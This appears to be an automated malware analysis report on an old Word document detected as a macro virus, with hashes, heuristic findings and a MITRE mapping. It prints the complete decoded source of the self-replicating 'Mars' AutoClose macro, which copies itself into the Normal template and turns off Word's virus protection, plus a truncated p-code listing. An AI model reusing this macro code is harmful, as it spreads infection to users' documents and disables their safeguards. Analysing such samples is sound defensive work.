Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 16e51fea2c727a67…

MALICIOUS

Office (OLE)

28.5 KB Created: 1999-06-14 16:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 34a99bda0167da53cafe4febb9d70a9c SHA-1: 85864bee49adf99d96ed9332bb9297c45809b3a2 SHA-256: 16e51fea2c727a67707e8337b787c8eea3043150b8329f50ed4a9a2ccbb43a4f
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Office document containing a WordBasic AutoClose macro. This macro is designed to copy itself to the Normal template and potentially save the document as a template, indicating an attempt to establish persistence or spread. The macro's name and structure suggest a known, albeit old, malware pattern.

Heuristics 4

  • ClamAV: Doc.Trojan.DWMVCK1-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.DWMVCK1-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4426 bytes
SHA-256: 7775396b41e550305ff3657d12fd741d1ce3f8b95635c87c34418ba616848cf9
Detection
ClamAV: Doc.Trojan.DWMVCK1-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Mars"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Macro created 11/16/97 by Mars\r\n\r\n\r\n\r\nBengkalis\r\n"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Project.Mars.AutoClose"
    On Error GoTo DoCancel
    Application.ScreenUpdating = False
    
    Set ActiveDoc = ActiveDocument
    If (ActiveDocument.VBProject.VBComponents.Count = 1) And (Left$(ActiveDocument.Name, 8) <> "Document") Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Mars", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If
    
    Set GlobalDoc = NormalTemplate
    If (NormalTemplate.VBProject.VBComponents.Count = 1) Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Mars", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
    End If
    
    DayMonth = Day(Date) * 100 + Month(Date)
    If (DayMonth = 1611) Or (Day(Date) = 1) Then
        With Assistant.NewBalloon
            .Animation = msoAnimationGreeting
            .Text = "Have a nice day"
            .Icon = msoIconTip
            .Show
        End With
    End If
    Application.ScreenUpdating = True
    
DoCancel:
    Options.VirusProtection = False

End Sub

' Processing file: /opt/analyzer/scan_staging/cb2dc7e356354b2db89c68c5e5a2bd16.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1117 bytes
' Macros/VBA/Mars - 2442 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	OnError DoCancel 
' Line #2:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #3:
' Line #4:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set ActiveDoc 
' Line #5:
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	LitDI2 0x0001 
' 	Eq 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound$ 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #6:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0004 "Mars"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #7:
' 	Ld ActiveDoc 
' 	MemLd New 
' 	ParamNamed FileName 
' 	Ld wdFormatTemplate 
' 	ParamNamed FileFormat 
' 	Ld ActiveDoc 
' 	ArgsMemCall SaveAs 0x0002 
' Line #8:
' 	EndIfBlock 
' Line #9:
' Line #10:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set GlobalDoc 
' Line #11:
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	LitDI2 0x0001 
' 	Eq 
' 	Paren 
' 	IfBlock 
' Line #12:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0004 "Mars"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #13:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #14:
' 	EndIfBlock 
' Line #15:
' Line #16:
' 	Ld Date 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0064 
' 	Mul 
' 	Ld Date 
' 	ArgsLd Month 0x0001 
' 	Add 
' 	St DayMonth 
' Line #17:
' 	Ld DayMonth 
' 	LitDI2 0x064B 
' 	Eq 
' 	Paren 
' 	Ld Date 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0001 
' 	Eq 
' 	Paren 
' 	Or 
' 	IfBlock 
' Line #18:
' 	StartWithExpr 
' 	Ld Assistant 
' 	MemLd NewBalloon 
' 	With 
' Line #19:
' 	Ld msoAnimationGreeting 
' 	MemStWith Animation 
' Line #20:
' 	LitStr 0x000F "Have a nice day"
' 	MemStWith Then 
' Line #21:
' 	Ld msoIconTip 
' 	MemStWith Icon 
' 
... (truncated)

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